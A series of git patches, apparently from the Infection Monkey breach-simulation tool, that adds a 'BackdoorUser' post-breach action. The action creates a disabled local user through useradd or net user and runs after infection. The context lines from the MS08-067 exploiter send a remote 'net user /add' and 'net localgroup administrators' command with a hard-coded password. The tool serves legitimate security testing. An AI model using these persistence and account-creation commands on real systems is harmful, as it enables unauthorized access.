ipaddress -wmi \ No newline at end of file +wmi +pywin32 \ No newline at end of file From 382b95c75d13f8d3129669cf1784cd9e6cd4d65b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:26:46 +0200 Subject: [PATCH 180/183] Add option for post breach actions to configuration --- monkey/infection_monkey/config.py | 6 +++++ monkey/infection_monkey/example.conf | 3 ++- .../cc/services/config_schema.py | 27 ++++++++++++++++++- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 74a98feb1..6234cd9ff 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -39,6 +40,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,5 +270,7 @@ class Configuration(object): extract_azure_creds = True + post_breach_actions = [] + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..0bdcc0eb2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,5 +97,6 @@ "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_find": 30, + "post_breach_actions" : [] } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..0a1ca24d6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -88,6 +88,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -276,7 +289,19 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { From 95a2a0e4284cf2a7c94771e43a4e2781ea4cfc63 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:26 +0200 Subject: [PATCH 181/183] Add backdoor user functionality to Monkey itself. The backdoor user is purposefully disabled --- .../infection_monkey/post_breach/__init__.py | 4 ++ .../infection_monkey/post_breach/add_user.py | 49 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 monkey/infection_monkey/post_breach/__init__.py create mode 100644 monkey/infection_monkey/post_breach/add_user.py diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py new file mode 100644 index 000000000..3faa2233e --- /dev/null +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -0,0 +1,4 @@ +__author__ = 'danielg' + + +from add_user import BackdoorUser \ No newline at end of file diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py new file mode 100644 index 000000000..8551382b7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -0,0 +1,49 @@ +import datetime +import logging +import subprocess +import sys +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + +__author__ = 'danielg' + + +class BackdoorUser(object): + """ + This module adds a disabled user to the system. + This tests part of the ATT&CK matrix + """ + + def act(self): + LOG.info("Adding a user") + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + + @staticmethod + def add_user_linux(): + cmd_line = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.ms08_067_remote_user_add] + retval = subprocess.call(cmd_line) + return retval + + @staticmethod + def add_user_windows(): + cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, + WormConfiguration.ms08_067_remote_user_pass, + '/add', '/ACTIVE:NO'] + retval = subprocess.call(cmd_line) + return retval From 7b5604a0de095692b3d24e680bfc60b20c6fe633 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:42 +0200 Subject: [PATCH 182/183] Make post breach actions happen in the monkey --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..4d5bdf7dc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,6 +109,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") From 68093d084f1867ae252a9e76bee6b3cd51cb4673 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 7 Jan 2019 10:58:20 +0200 Subject: [PATCH 183/183] Rename ms08_067_remote_user_add and ms08_067_remote_user_pass to something more generic --- monkey/infection_monkey/config.py | 4 ++-- monkey/infection_monkey/example.conf | 4 ++-- monkey/infection_monkey/exploit/win_ms08_067.py | 12 ++++++------ monkey/infection_monkey/post_breach/add_user.py | 6 +++--- .../system_info/windows_info_collector.py | 2 +- monkey/monkey_island/cc/services/config_schema.py | 8 ++++---- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8bf407d84..839a17018 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -208,8 +208,8 @@ class Configuration(object): skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 - ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" - ms08_067_remote_user_pass = "Password1!" + user_to_add = "Monkey_IUSER_SUPPORT" + remote_user_pass = "Password1!" # rdp exploiter rdp_use_vbs_download = True diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 66988720a..594ee62c7 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -57,8 +57,8 @@ "monkey_log_path_linux": "/tmp/user-1563", "send_log_to_server": true, "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "rdp_use_vbs_download": true, "smb_download_timeout": 300, diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 9f8837157..41b3820d5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % - (self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, - self._config.ms08_067_remote_user_add)) + (self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add)) time.sleep(2) reply = sock.recv(1000) @@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter): remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass) + self._config.user_to_add, + self._config.remote_user_pass) if not remote_full_path: # try other passwords for administrator @@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter): try: sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py index 8551382b7..b8cb9a027 100644 --- a/monkey/infection_monkey/post_breach/add_user.py +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -36,14 +36,14 @@ class BackdoorUser(object): def add_user_linux(): cmd_line = ['useradd', '-M', '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.ms08_067_remote_user_add] + WormConfiguration.user_to_add] retval = subprocess.call(cmd_line) return retval @staticmethod def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, - WormConfiguration.ms08_067_remote_user_pass, + cmd_line = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] retval = subprocess.call(cmd_line) return retval diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 1348a6fcb..7c3739a0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -36,7 +36,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - self.get_wmi_info() + #self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e9d2ad2ce..52d829abf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -701,14 +701,14 @@ SCHEMA = { "default": 5, "description": "Number of attempts to exploit using MS08_067" }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", + "user_to_add": { + "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", "description": "Username to add on successful exploit" }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", + "remote_user_pass": { + "title": "Remote user password", "type": "string", "default": "Password1!", "description": "Password to use for created user"